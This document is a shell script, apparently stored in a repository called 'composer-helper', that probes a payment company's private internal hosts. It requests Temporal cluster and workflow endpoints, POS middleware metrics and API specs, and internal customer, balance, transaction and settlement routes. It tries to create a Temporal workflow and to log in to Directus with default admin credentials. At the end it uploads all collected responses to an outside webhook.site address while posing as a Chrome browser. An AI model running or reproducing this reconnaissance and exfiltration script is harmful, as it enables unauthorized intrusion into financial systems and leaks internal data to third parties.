composer-helper/vip3.sh
2026-10-22 15:48:57 +00:00

65 lines
3.2 KiB
Bash

#!/bin/sh
# vip3: product-level probes on reachable private vhosts (read-only + error oracles). Intent 20407.
LOG=/tmp/vip3.out
C="/usr/bin/curl -k -s -m 6 --connect-timeout 3"
[ -x /usr/bin/curl ] || C="curl -k -s -m 6 --connect-timeout 3"
g() { # name ip path
n=$1; ip=$2; path=$3
$C -o /tmp/vb -D /tmp/vh -w "%{http_code} %{size_download}" --resolve "$n:443:$ip" "https://$n$path" > /tmp/vs 2>/dev/null
echo "### GET $n $path -> $(cat /tmp/vs)"
tr -d '\r' < /tmp/vh 2>/dev/null | grep -iE '^(server|x-powered-by|location|www-authenticate|content-type):' | head -4
head -c 220 /tmp/vb 2>/dev/null | tr '\r\n' ' '
echo
}
p() { # name ip path body
n=$1; ip=$2; path=$3; b=$4
$C -o /tmp/vb -D /tmp/vh -w "%{http_code} %{size_download}" -X POST -H "Content-Type: application/json" --data-binary "$b" --resolve "$n:443:$ip" "https://$n$path" > /tmp/vs 2>/dev/null
echo "### POST $n $path -> $(cat /tmp/vs)"
tr -d '\r' < /tmp/vh 2>/dev/null | grep -iE '^(server|x-powered-by|content-type):' | head -4
head -c 300 /tmp/vb 2>/dev/null | tr '\r\n' ' '
echo
}
main() {
T=172.31.137.220
echo "== TEMPORAL"
g temporal.private.paystack.co $T /api/v1/cluster-info
g temporal.private.paystack.co $T /api/v1/system-info
g temporal.private.paystack.co $T /api/v1/namespaces
g temporal.private.paystack.co $T "/api/v1/namespaces/temporal-system/workflows?maximumPageSize=5"
g temporal.private.paystack.co $T "/api/v1/namespaces/default/workflows?maximumPageSize=5"
p temporal.private.paystack.co $T /api/v1/namespaces/default/workflows '{"workflowId":"pstk-probe-1","workflowType":{"name":"PstkProbe"},"taskQueue":{"name":"default"},"requestId":"pstk-probe-1"}'
echo "== POS-MIDDLEWARE"
g pos-middleware.private.paystack.co $T /metrics
g pos-middleware.private.paystack.co $T /swagger.json
g pos-middleware.private.paystack.co $T /openapi.json
g pos-middleware.private.paystack.co $T /api
g pos-middleware.private.paystack.co $T /device
g pos-middleware.private.paystack.co $T /terminal
g pos-middleware.private.paystack.co $T /version
echo "== DIRECTUS"
g directus.private.paystack.co $T /server/info
g directus.private.paystack.co $T /server/ping
p directus.private.paystack.co $T /auth/login '{"email":"admin@example.com","password":"admin"}'
echo "== GIPS"
g gips.private.paystack.co $T /robots.txt
g gips.private.paystack.co $T /api
g gips.private.paystack.co $T /docs
g gips.private.paystack.co $T /openapi.json
g gips.private.paystack.co $T /favicon.ico
echo "== API.PRIVATE"
g api.private.paystack.co 172.31.68.82 /country
g api.private.paystack.co 172.31.68.82 /balance
g api.private.paystack.co 172.31.68.82 /bank
g api.private.paystack.co 172.31.68.82 /customer
g api.private.paystack.co 172.31.68.82 /transaction
g api.private.paystack.co 172.31.68.82 /integration
g api.private.paystack.co 172.31.68.82 /settlement
g api.private.paystack.co 172.31.68.82 /internal/health
g api.private.paystack.co 172.31.68.82 /v1/health
echo VIP3DONE
}
main > $LOG 2>&1
echo SIZE $(wc -c < $LOG)
cat $LOG
curl -s -m 15 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" -H "Content-Type: text/plain" --data-binary @$LOG https://webhook.site/402c5ead-2ebe-4ea9-8ff0-8acbf6a04acc >/dev/null 2>&1
echo UPLOADED